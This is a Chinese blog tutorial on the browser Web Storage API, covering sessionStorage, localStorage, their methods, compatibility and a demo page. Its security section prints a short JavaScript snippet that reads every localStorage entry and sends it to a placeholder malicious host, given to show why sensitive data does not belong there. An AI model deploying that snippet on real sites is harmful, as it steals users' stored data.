web API简介(三)：客户端储存之Web Storage API
概述
前篇：web API简介(二)：客户端储存之document.cookie API
客户端储存从某一方面来说和动态网站差不多。动态网站是用服务端来储存数据，而客户端储存是用客户端来储存数据。
Web Storage API就是现代HTML5客户端储存的方法之一。
Web Storage介绍
web storage的概念和cookie相似，区别是它是为了更大的容量存储设计的。cookie数据不能超过4K而且有最大条数限制，同时因为每次http请求都会携带cookie，所以cookie只适合保存很小的数据，但是webStorage可以达到5M或更大。
Web Storage使用起来比cookie更方便更有启发性。setItem getItem clearItem等。
webStorage只能操作字符串对象，所有的存储值都会为字符串数据。
语法
Storage对象：Web Storage API中作为sessionStorage和localStorage的接口。
sessionStorage：继承自Storage对象，关闭浏览器之后消失。利用Window.sessionStorage来进行操作。(Window对象可以省略)
localStorage：继承自Storage对象，关闭浏览器之后仍然一直存在。利用Window.localStorage来进行操作。(Window对象可以省略)
属性和方法：
(1)Storage.length：长度你懂的。
(2)Storage.key()：以n为参数，返回第n个key。
(3)Storage.getItem()：查操作。
(4)Storage.setItem()：增和改操作。
(5)Storage.removeItem()：删操作。
(5)Storage.clear()：删除所有。
安全性
Web Storage的安全性比cookie更糟糕。它甚至连HTTPONLY都没有。所以不要用它来储存敏感信息。
下面的代码可以获取使用localStorage存储在本地的所有信息。
var i = 0;
var str = "";
while (localStorage.key(i) != null)
{
var key = localStorage.key(i);
str += key + ": " + localStorage.getItem(key);
i++;
}
document.location="http://your-malicious-site.com?stolen="+ str;
兼容性
兼容五大浏览器，不兼容IE<8(兼容IE8)。
实例
在里面的输入框中设定值，然后关闭浏览器，再打开我的博客的这篇文章，点击运行测试一下即可看到你设定的值(不是默认值)。
<html lang="en">
<head>
<meta charset="UTF-8">
<title>Document</title>
</head>
<body>
<div id="user_text"></div>
<input type="text" id="user_input">
<button onclick="userDo()">输入</button>
<button onclick="reset()">重置</button>
</body>
<script type="text/javascript">
//兼容性
function storageAvailable(type) {
try {
var storage = window[type],
x = '__storage_test__';
storage.setItem(x, x);
storage.removeItem(x);
return true;
}
catch(e) {
return e instanceof DOMException && (
// everything except Firefox
e.code === 22 ||
// Firefox
e.code === 1014 ||
// test name field too, because code might not be present
// everything except Firefox
e.name === 'QuotaExceededError' ||
// Firefox
e.name === 'NS_ERROR_DOM_QUOTA_REACHED') &&
// acknowledge QuotaExceededError only if there's something already stored
storage.length !== 0;
}
};
//初始化
function setText () {
if (!localStorage.getItem('usertext')) {
userText.innerText = "默认值!请先在输入框中设定值(最好是字符串)";
}
else {
userText.innerText = "你之前设定的值是：" + localStorage.getItem('usertext');
}
}
var userText = document.getElementById("user_text");
var userInput = document.getElementById("user_input");
if (storageAvailable('localStorage')) {
setText ();
}
else {
userText.innerText = "你的浏览器不支持web storage!";
};
function userDo () {
localStorage.setItem('usertext', userInput.value);
setText ();
};
function reset () {
localStorage.removeItem('usertext');
setText ();
};
</script>
</html>
Document
输入
重置
<script type="text/javascript">
//兼容性
function storageAvailable(type) {
try {
var storage = window[type],
x = '__storage_test__';
storage.setItem(x, x);
storage.removeItem(x);
return true;
}
catch(e) {
return e instanceof DOMException && (
// everything except Firefox
e.code === 22 ||
// Firefox
e.code === 1014 ||
// test name field too, because code might not be present
// everything except Firefox
e.name === 'QuotaExceededError' ||
// Firefox
e.name === 'NS_ERROR_DOM_QUOTA_REACHED') &&
// acknowledge QuotaExceededError only if there's something already stored
storage.length !== 0;
}
};
//初始化
function setText () {
if (!localStorage.getItem('usertext')) {
userText.innerText = "默认值!请先在输入框中设定值(最好是字符串)";
}
else {
userText.innerText = "你之前设定的值是：" + localStorage.getItem('usertext');
}
}
var userText = document.getElementById("user_text");
var userInput = document.getElementById("user_input");
if (storageAvailable('localStorage')) {
setText ();
}
else {
userText.innerText = "你的浏览器不支持web storage!";
};
function userDo () {
localStorage.setItem('usertext', userInput.value);
setText ();
};
function reset () {
localStorage.removeItem('usertext');
setText ();
};
</script>
web API简介(三)：客户端储存之Web Storage API的更多相关文章
- web API简介(二)：客户端储存之document.cookie API
概述 前篇:web API简介(一):API,Ajax和Fetch 客户端储存从某一方面来说和动态网站差不多.动态网站是用服务端来储存数据,而客户端储存是用客户端来储存数据.document.cook ...
- Web API（三）：创建Web API项目
在本篇文章中将讲解如何使用Visual Studio创建一个新的ASP.NET Web API项目. 在Visual Studio中有两种方式用于创建Web API项目: 1.创建带MVC的Web A ...
- web API简介(四)：客户端储存之IndexedDB API
概述 前篇:web API简介(三):客户端储存之Web Storage API 客户端储存从某一方面来说和动态网站差不多.动态网站是用服务端来储存数据,而客户端储存是用客户端来储存数据. Index ...
- Web服务器学习总结（一）：web服务器简介
一.WEB服务器 1.1.WEB服务器简介 1.Web服务器是指驻留于因特网上某种类型计算机的程序,是可以向发出请求的浏览器提供文档的程序.当Web浏览器(客户端)连到服务器上并请求文件时,服务器将处 ...
- J2EE基础之Web服务简介
J2EE基础之Web服务简介 1.什么是Web服务? 在人们的日常生活中,经常会查询网页上某城市的天气信息,这些信息都是动态的.实时的,它是专业的气象站提供的一种服务.例如,在网上购物时,通常采用网上 ...
- Web Api 简介
ASP.NET Web API 简介 ASP.NET MVC 4 包含了 ASP.NET Web API, 这是一个创建可以连接包括浏览器.移动设备等多种客户端的 Http 服务的新框架, ASP. ...
- Redis总结（五）缓存雪崩和缓存穿透等问题 Web API系列(三)统一异常处理 C#总结（一）AutoResetEvent的使用介绍（用AutoResetEvent实现同步） C#总结（二）事件Event 介绍总结 C#总结（三）DataGridView增加全选列 Web API系列(二)接口安全和参数校验 RabbitMQ学习系列（六）: RabbitMQ 高可用集群
Redis总结(五)缓存雪崩和缓存穿透等问题 前面讲过一些redis 缓存的使用和数据持久化.感兴趣的朋友可以看看之前的文章,http://www.cnblogs.com/zhangweizhon ...
- [转]ASP.NET Web API（三）：安全验证之使用摘要认证(digest authentication)
本文转自:http://www.cnblogs.com/parry/p/ASPNET_MVC_Web_API_digest_authentication.html 在前一篇文章中,主要讨论了使用HTT ...
- ASP.NET Web API（三）：安全验证之使用摘要认证(digest authentication)
在前一篇文章中,主要讨论了使用HTTP基本认证的方法,因为HTTP基本认证的方式决定了它在安全性方面存在很大的问题,所以接下来看看另一种验证的方式:digest authentication,即摘要认 ...
随机推荐
- BUILDING WITH BOOTSTRAP
BUILDING WITH BOOTSTRAP Bootstrap Generalizations You just built an impressive webpage using the Boo ...
- 尚硅谷springboot学习33-整合mybatis
引入mybatis依赖(还要引入mysql和jdbc依赖) <dependency> <groupId>org.mybatis.spring.boot</groupId& ...
- 手写注解实现SpringMVC
参考:https://www.cnblogs.com/Shock-W/p/6617068.html
- SQL（ORACLE）
查询数据库编码: select * from sys.nls_database_parameters;select * from sys.nls_session_parameters; replace ...
- ubuntu环境下，ubuntu16.04装机到nvdia显卡驱动安装、cuda8安装、cudnn安装
首先是安装ubuntu16.04 A.制作u盘启动盘(提前准备好.ios文件): 1.安装u盘制作工具unetbootinsudo apt-get install unetbootin2.格式化u盘s ...
- 判断URL是否能被链接
判断url是否能被正确链接 function checkUrl(url, name) { $.ajax({ url: url, type: "get", dataType : 'j ...
- Django提交文件的方式
以上传图片为列, 提交图片文件后能在不刷新页面的前提下显示图片 首先写出一个简单的提交文件的页面: <h>文件上传</h> 选择文件<input type="f ...
- Kafka自带zookeeper报错INFO Got user-level KeeperException when processing xxx Error Path:/brokers Error:KeeperErrorCode = NodeExists for /brokers (org.apache.zookeeper.server.PrepRequestProcessor)
问题描述: 按照kafka官方文档的操作步骤,解压kafka压缩包后.依次启动zookeeper,和kafka服务 kafka服务启动后,查看到zookeeper日志里有以下异常 问题原因及解决办法: ...
- django 环境配置.
1. 一个虚拟环境对应一个 dajngo项目 2. mkvirtruenv pycham 创建Pure Python 新项目,不是Django 2018.3 其他版本 3. Add Configur ...
- 251. Flatten 2D Vector 平铺二维矩阵
［抄题］: Implement an iterator to flatten a 2d vector. Example: Input: 2d vector = [ [1,2], [3], [4,5,6 ...